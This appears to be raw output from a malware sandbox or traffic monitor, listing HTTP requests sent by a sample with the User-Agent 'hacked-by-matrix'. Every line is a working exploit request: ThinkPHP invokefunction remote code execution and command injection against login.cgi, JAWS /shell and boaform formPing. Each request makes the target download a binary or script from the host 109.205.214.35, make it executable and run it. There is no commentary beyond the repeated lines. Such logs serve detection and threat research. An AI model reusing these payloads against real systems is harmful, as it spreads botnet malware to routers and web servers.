Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
